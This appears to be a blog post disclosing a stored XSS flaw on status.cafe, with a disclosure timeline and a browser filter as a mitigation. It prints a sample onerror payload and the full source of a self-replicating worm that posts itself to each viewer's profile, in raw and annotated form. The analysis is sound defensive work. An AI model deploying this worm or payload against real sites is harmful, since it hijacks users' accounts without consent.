Things you need to know

🗒️ Before I say anything else, I will say that your status cafe token is not sent into an attacker, and they can’t do it. That’s because the token cookie uses HttpOnly as it should. This means that no account has been stolen.

The XSS vulnerability uses HTML event handler attributes , which usually is frowned upon as they are outdated and will result on messy code, but the indie web still uses these (that’s why MDN says to not use these).

What does that mean? It means that an attacker can run scripts on your browser without you knowing, which is bad when executed properly.

<img src="x" onerror="alert('XSS')">

||*status.cafe/users/*$csp=script-src 'none'

One more thing - Status Cafe Status Widget Self-XSS

This is also related on XSS but it’s much different than the other one, but the first vulnerability can post this on your profile and make your site have a vulnerability, but this is much harder to do without being noticed.

This is because the widget uses innerHTML, and it just putting user status without sanitizing it, which is also bad. It’s reasonable to use innerHTML for this as status.cafe also have automatic link handling for example.

Extra - Looking at the Status Cafe worm

🗒️ I’m going to be a bit technical about this.

The worm code looks like this at it’s raw:

<img src="x" style="display:none;" onerror="/*the silly worm*made by ???*should probably not infect the same person twice*also pls dont remove js, i think it'd be cool to keep it so that it allows funny stuff like this to happen*xoxo and merry christmas*  -???*/(async()=>{if(document.location.search=='?qw'){const d=new DOMParser().parseFromString(await(await fetch('https://status.cafe/settings')).text(),'text/html');if(!d||d.querySelector('textarea')?.outerHTML.includes('&amp;'+'lt;!--javaistrash--&amp;'+'gt;')){throw 0};d.querySelector('textarea').innerText+='\n<!--javaistrash-->';d.querySelector('textarea').innerText+='\n'+this.outerHTML;d.querySelector('form').id='123';document.body.append(d.querySelector('form'));document.getElementById('123').querySelector('input[type=submit]').click()}else{const nu=new window.URL(document.location.href);nu.search='?qw';const f=document.createElement('iframe');f.setAttribute('style','display:none;');f.setAttribute('src',nu.href);document.body.append(f)}})()">

Quite long, isn’t it? Let’s remove the unnecessary code and beautify it:

(async () => {
    if (document.location.search == '?qw') {
        const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');
        if (!d || d.querySelector('textarea')?.outerHTML.includes('&' + 'lt;!--javaistrash--&' + 'gt;')) {
            throw 0
        };
        d.querySelector('textarea').innerText += '\n<!--javaistrash-->';
        d.querySelector('textarea').innerText += '\n' + this.outerHTML;
        d.querySelector('form').id = '123';
        document.body.append(d.querySelector('form'));
        document.getElementById('123').querySelector('input[type=submit]').click()
    } else {
        const nu = new window.URL(document.location.href);
        nu.search = '?qw';
        const f = document.createElement('iframe');
        f.setAttribute('style', 'display:none;');
        f.setAttribute('src', nu.href);
        document.body.append(f)
    }
})()

The code is wrapped into an IIFE , which makes it run almost immediately and with async support.

It looks for an ?eq search string on the URL and runs 2 different things if there is one or if there is none:

// Fetches the status cafe settings, and parses it using DOMParser
const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');

// Looks if there's already an instance of the worm, and if so, throws an error with content `0`
if (!d || d.querySelector('textarea')?.outerHTML.includes('&' + 'lt;!--javaistrash--&' + 'gt;')) {
    throw 0
};

// appends <!--javaistrash-->, which makes the above work
d.querySelector('textarea').innerText += '\n<!--javaistrash-->';

// then it appends the script itself
d.querySelector('textarea').innerText += '\n' + this.outerHTML;

// then it changes ids
d.querySelector('form').id = '123';

// then it appends it on the iframe
document.body.append(d.querySelector('form'));

// and clicks the submit button, which makes it infect your profile with the worm
document.getElementById('123').querySelector('input[type=submit]').click();

// Evaluates the current URL
const nu = new window.URL(document.location.href);

// adds ?qw on it
nu.search = '?qw';

// then it creates an iframe
const f = document.createElement('iframe');

// then it sets itself to display: none, which makes it invisible to the user vising the page
f.setAttribute('style', 'display:none;');

// then it sets the src of the iframe
f.setAttribute('src', nu.href);

// and finally, it appends the iframe into the body
document.body.append(f);

Timeline

• 2023-07-12 - disclosed by divsel in the status.cafe forums
• 2025-04-23 - first report of an worm being spread into status.cafe
• 2025-05-22 - emailed status.cafe developer about it, for an update
• 2025-06-16 - public disclosure

Wrap-up

Although this would not compromise your status.cafe account, you should be still wary of visiting other people’s user pages while this hasn’t been fixed yet.

Also, I recommend following the mitigation steps above, which makes your browser almost immune on the worm.